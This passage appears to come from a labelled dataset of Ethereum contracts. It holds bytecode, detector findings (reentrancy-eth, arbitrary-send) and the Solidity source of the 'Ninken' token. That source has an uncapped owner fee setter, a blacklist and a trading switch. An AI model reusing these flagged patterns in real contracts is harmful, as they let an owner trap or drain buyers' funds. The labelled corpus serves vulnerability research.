815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d4565b600061117283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061142e565b806113ec576113ec61145c565b6113f784848461147f565b80611030576110306005600855600a600955565b6000806000611418611576565b9092509050611427828261139d565b9250505090565b6000818361144f5760405162461bcd60e51b81526004016103d491906119ee565b5060006110678486611afe565b60085415801561146c5750600954155b1561147357565b60006008819055600955565b600080600080600080611491876115b4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c39087611611565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f29086611653565b6001600160a01b038916600090815260026020526040902055611514816116b2565b61151e84836116fc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156391815260200190565b60405180910390a3505050505050505050565b6006546000908190664606b6343d6800611590828261139d565b8210156115ab57505060065492664606b6343d680092509050565b90939092509050565b60008060008060008060008060006115d18a600854600954611720565b92509250925060006115e161140b565b905060008060006115f48e87878761176f565b919e509c509a509598509396509194505050505091939550919395565b600061117283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611036565b6000806116608385611ae6565b9050838110156111725760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d4565b60006116bc61140b565b905060006116ca838361131e565b306000908152600260205260409020549091506116e79082611653565b30600090815260026020526040902055505050565b6006546117099083611611565b6006556007546117199082611653565b6007555050565b60008080806117346064610abf898961131e565b905060006117476064610abf8a8961131e565b9050600061175f826117598b86611611565b90611611565b9992985090965090945050505050565b600080808061177e888661131e565b9050600061178c888761131e565b9050600061179a888861131e565b905060006117ac826117598686611611565b939b939a50919850919650505050505050565b80356117ca81611b9b565b919050565b6000602082840312156117e0578081fd5b813561117281611b9b565b6000602082840312156117fc578081fd5b815161117281611b9b565b60008060408385031215611819578081fd5b823561182481611b9b565b9150602083013561183481611b9b565b809150509250929050565b600080600060608486031215611853578081fd5b833561185e81611b9b565b9250602084013561186e81611b9b565b929592945050506040919091013590565b60008060408385031215611891578182fd5b823561189c81611b9b565b946020939093013593505050565b600060208083850312156118bc578182fd5b823567ffffffffffffffff808211156118d3578384fd5b818501915085601f8301126118e6578384fd5b8135818111156118f8576118f8611b85565b8060051b604051601f19603f8301168101818110858211171561191d5761191d611b85565b604052828152858101935084860182860187018a101561193b578788fd5b8795505b8386101561196457611950816117bf565b85526001959095019493860193860161193f565b5098975050505050505050565b600060208284031215611982578081fd5b813561117281611bb0565b60006020828403121561199e578081fd5b815161117281611bb0565b6000602082840312156119ba578081fd5b5035919050565b6000806000606084860312156119d5578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a1a578581018301518582016040015282016119fe565b81811115611a2b5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ac55784516001600160a01b031683529383019391830191600101611aa0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611af957611af9611b6f565b500190565b600082611b1957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b3857611b38611b6f565b500290565b600082821015611b4f57611b4f611b6f565b500390565b6000600019821415611b6857611b68611b6f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461095357600080fd5b801515811461095357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e7dd2ed2fe7ca4d1d5da481d54b7d59baa372067f30b21644387b964921123cf64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,168
0x40c59d90d15067375De20a0F11262Ee885f446ac
/** *Submitted for verification at Etherscan.io on 2022-04-18 */ // SPDX-License-Identifier: UNLICENSED /** https://t.me/NinkenETH */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Ninken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ninken"; string private constant _symbol = "NINKEN"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; //Sell Fee uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x413d09B73992c07a4F88B6847924B5A39De5692b); address payable private _marketingAddress = payable(0x413d09B73992c07a4F88B6847924B5A39De5692b); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 50100 * 10**9; //.5% uint256 public _maxWalletSize = 150100 * 10**9; //1.5% uint256 public _swapTokensAtAmount = 20100 * 10**9; //.2% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051a578063dd62ed3e1461053a578063ea1644d514610580578063f2fde38b146105a057600080fd5b8063a2a957bb14610495578063a9059cbb146104b5578063bfd79284146104d5578063c3c8cd801461050557600080fd5b80638f70ccf7116100d15780638f70ccf7146104105780638f9a55c01461043057806395d89b411461044657806398a5c3151461047557600080fd5b806374010ece146103bc5780637d1db4a5146103dc5780638da5cb5b146103f257600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103525780636fc3eaec1461037257806370a0823114610387578063715018a6146103a757600080fd5b8063313ce567146102f657806349bd5a5e146103125780636b9990531461033257600080fd5b80631694505e116101a05780631694505e1461026457806318160ddd1461029c57806323b872dd146102c05780632fd689e3146102e057600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023457600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab6565b6105c0565b005b3480156101ff57600080fd5b506040805180820190915260068152652734b735b2b760d11b60208201525b60405161022b9190611be8565b60405180910390f35b34801561024057600080fd5b5061025461024f366004611a06565b61065f565b604051901515815260200161022b565b34801561027057600080fd5b50601454610284906001600160a01b031681565b6040516001600160a01b03909116815260200161022b565b3480156102a857600080fd5b50662386f26fc100005b60405190815260200161022b565b3480156102cc57600080fd5b506102546102db3660046119c5565b610676565b3480156102ec57600080fd5b506102b260185481565b34801561030257600080fd5b506040516009815260200161022b565b34801561031e57600080fd5b50601554610284906001600160a01b031681565b34801561033e57600080fd5b506101f161034d366004611952565b6106df565b34801561035e57600080fd5b506101f161036d366004611b82565b61072a565b34801561037e57600080fd5b506101f1610772565b34801561039357600080fd5b506102b26103a2366004611952565b6107bd565b3480156103b357600080fd5b506101f16107df565b3480156103c857600080fd5b506101f16103d7366004611b9d565b610853565b3480156103e857600080fd5b506102b260165481565b3480156103fe57600080fd5b506000546001600160a01b0316610284565b34801561041c57600080fd5b506101f161042b366004611b82565b610882565b34801561043c57600080fd5b506102b260175481565b34801561045257600080fd5b506040805180820190915260068152652724a725a2a760d11b602082015261021e565b34801561048157600080fd5b506101f1610490366004611b9d565b6108ca565b3480156104a157600080fd5b506101f16104b0366004611bb6565b6108f9565b3480156104c157600080fd5b506102546104d0366004611a06565b610937565b3480156104e157600080fd5b506102546104f0366004611952565b60106020526000908152604090205460ff1681565b34801561051157600080fd5b506101f1610944565b34801561052657600080fd5b506101f1610535366004611a32565b610998565b34801561054657600080fd5b506102b261055536600461198c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058c57600080fd5b506101f161059b366004611b9d565b610a39565b3480156105ac57600080fd5b506101f16105bb366004611952565b610a68565b6000546001600160a01b031633146105f35760405162461bcd60e51b81526004016105ea90611c3d565b60405180910390fd5b60005b815181101561065b5760016010600084848151811061061757610617611d84565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065381611d53565b9150506105f6565b5050565b600061066c338484610b52565b5060015b92915050565b6000610683848484610c76565b6106d584336106d085604051806060016040528060288152602001611dc6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b2565b610b52565b5060019392505050565b6000546001600160a01b031633146107095760405162461bcd60e51b81526004016105ea90611c3d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107545760405162461bcd60e51b81526004016105ea90611c3d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107a757506013546001600160a01b0316336001600160a01b0316145b6107b057600080fd5b476107ba816111ec565b50565b6001600160a01b03811660009081526002602052604081205461067090611271565b6000546001600160a01b031633146108095760405162461bcd60e51b81526004016105ea90611c3d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461087d5760405162461bcd60e51b81526004016105ea90611c3d565b601655565b6000546001600160a01b031633146108ac5760405162461bcd60e51b81526004016105ea90611c3d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f45760405162461bcd60e51b81526004016105ea90611c3d565b601855565b6000546001600160a01b031633146109235760405162461bcd60e51b81526004016105ea90611c3d565b600893909355600a91909155600955600b55565b600061066c338484610c76565b6012546001600160a01b0316336001600160a01b0316148061097957506013546001600160a01b0316336001600160a01b0316145b61098257600080fd5b600061098d306107bd565b90506107ba816112f5565b6000546001600160a01b031633146109c25760405162461bcd60e51b81526004016105ea90611c3d565b60005b82811015610a335781600560008686858181106109e4576109e4611d84565b90506020020160208101906109f99190611952565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2b81611d53565b9150506109c5565b50505050565b6000546001600160a01b03163314610a635760405162461bcd60e51b81526004016105ea90611c3d565b601755565b6000546001600160a01b03163314610a925760405162461bcd60e51b81526004016105ea90611c3d565b6001600160a01b038116610af75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ea565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ea565b6001600160a01b038216610c155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ea565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cda5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ea565b6001600160a01b038216610d3c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ea565b60008111610d9e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ea565b6000546001600160a01b03848116911614801590610dca57506000546001600160a01b03838116911614155b156110ab57601554600160a01b900460ff16610e63576000546001600160a01b03848116911614610e635760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ea565b601654811115610eb55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ea565b6001600160a01b03831660009081526010602052604090205460ff16158015610ef757506001600160a01b03821660009081526010602052604090205460ff16155b610f4f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ea565b6015546001600160a01b03838116911614610fd45760175481610f71846107bd565b610f7b9190611ce3565b10610fd45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ea565b6000610fdf306107bd565b601854601654919250821015908210610ff85760165491505b80801561100f5750601554600160a81b900460ff16155b801561102957506015546001600160a01b03868116911614155b801561103e5750601554600160b01b900460ff165b801561106357506001600160a01b03851660009081526005602052604090205460ff16155b801561108857506001600160a01b03841660009081526005602052604090205460ff16155b156110a857611096826112f5565b4780156110a6576110a6476111ec565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110ed57506001600160a01b03831660009081526005602052604090205460ff165b8061111f57506015546001600160a01b0385811691161480159061111f57506015546001600160a01b03848116911614155b1561112c575060006111a6565b6015546001600160a01b03858116911614801561115757506014546001600160a01b03848116911614155b1561116957600854600c55600954600d555b6015546001600160a01b03848116911614801561119457506014546001600160a01b03858116911614155b156111a657600a54600c55600b54600d555b610a338484848461147e565b600081848411156111d65760405162461bcd60e51b81526004016105ea9190611be8565b5060006111e38486611d3c565b95945050505050565b6012546001600160a01b03166108fc6112068360026114ac565b6040518115909202916000818181858888f1935050505015801561122e573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112498360026114ac565b6040518115909202916000818181858888f1935050505015801561065b573d6000803e3d6000fd5b60006006548211156112d85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ea565b60006112e26114ee565b90506112ee83826114ac565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133d5761133d611d84565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139157600080fd5b505afa1580156113a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c9919061196f565b816001815181106113dc576113dc611d84565b6001600160a01b0392831660209182029290920101526014546114029130911684610b52565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143b908590600090869030904290600401611c72565b600060405180830381600087803b15801561145557600080fd5b505af1158015611469573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148b5761148b611511565b61149684848461153f565b80610a3357610a33600e54600c55600f54600d55565b60006112ee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611636565b60008060006114fb611664565b909250905061150a82826114ac565b9250505090565b600c541580156115215750600d54155b1561152857565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611551876116a2565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061158390876116ff565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b29086611741565b6001600160a01b0389166000908152600260205260409020556115d4816117a0565b6115de84836117ea565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162391815260200190565b60405180910390a3505050505050505050565b600081836116575760405162461bcd60e51b81526004016105ea9190611be8565b5060006111e38486611cfb565b6006546000908190662386f26fc1000061167e82826114ac565b82101561169957505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116bf8a600c54600d5461180e565b92509250925060006116cf6114ee565b905060008060006116e28e878787611863565b919e509c509a509598509396509194505050505091939550919395565b60006112ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b2565b60008061174e8385611ce3565b9050838110156112ee5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ea565b60006117aa6114ee565b905060006117b883836118b3565b306000908152600260205260409020549091506117d59082611741565b30600090815260026020526040902055505050565b6006546117f790836116ff565b6006556007546118079082611741565b6007555050565b6000808080611828606461182289896118b3565b906114ac565b9050600061183b60646118228a896118b3565b905060006118538261184d8b866116ff565b906116ff565b9992985090965090945050505050565b600080808061187288866118b3565b9050600061188088876118b3565b9050600061188e88886118b3565b905060006118a08261184d86866116ff565b939b939a50919850919650505050505050565b6000826118c257506000610670565b60006118ce8385611d1d565b9050826118db8583611cfb565b146112ee5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ea565b803561193d81611db0565b919050565b8035801515811461193d57600080fd5b60006020828403121561196457600080fd5b81356112ee81611db0565b60006020828403121561198157600080fd5b81516112ee81611db0565b6000806040838503121561199f57600080fd5b82356119aa81611db0565b915060208301356119ba81611db0565b809150509250929050565b6000806000606084860312156119da57600080fd5b83356119e581611db0565b925060208401356119f581611db0565b929592945050506040919091013590565b60008060408385031215611a1957600080fd5b8235611a2481611db0565b946020939093013593505050565b600080600060408486031215611a4757600080fd5b833567ffffffffffffffff80821115611a5f57600080fd5b818601915086601f830112611a7357600080fd5b813581811115611a8257600080fd5b8760208260051b8501011115611a9757600080fd5b602092830195509350611aad9186019050611942565b90509250925092565b60006020808385031215611ac957600080fd5b823567ffffffffffffffff80821115611ae157600080fd5b818501915085601f830112611af557600080fd5b813581811115611b0757611b07611d9a565b8060051b604051601f19603f83011681018181108582111715611b2c57611b2c611d9a565b604052828152858101935084860182860187018a1015611b4b57600080fd5b600095505b83861015611b7557611b6181611932565b855260019590950194938601938601611b50565b5098975050505050505050565b600060208284031215611b9457600080fd5b6112ee82611942565b600060208284031215611baf57600080fd5b5035919050565b60008060008060808587031215611bcc57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c1557858101830151858201604001528201611bf9565b81811115611c27576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc25784516001600160a01b031683529383019391830191600101611c9d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf657611cf6611d6e565b500190565b600082611d1857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d3757611d37611d6e565b500290565b600082821015611d4e57611d4e611d6e565b500390565b6000600019821415611d6757611d67611d6e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ba57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122009c2cdf3bbba301742acb438419d33ca61fe110e57bf8ccb9b1cc0114aaa55bf64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,169
0x869ad3dfb0f9acb9094ba85228008981be6dbdde
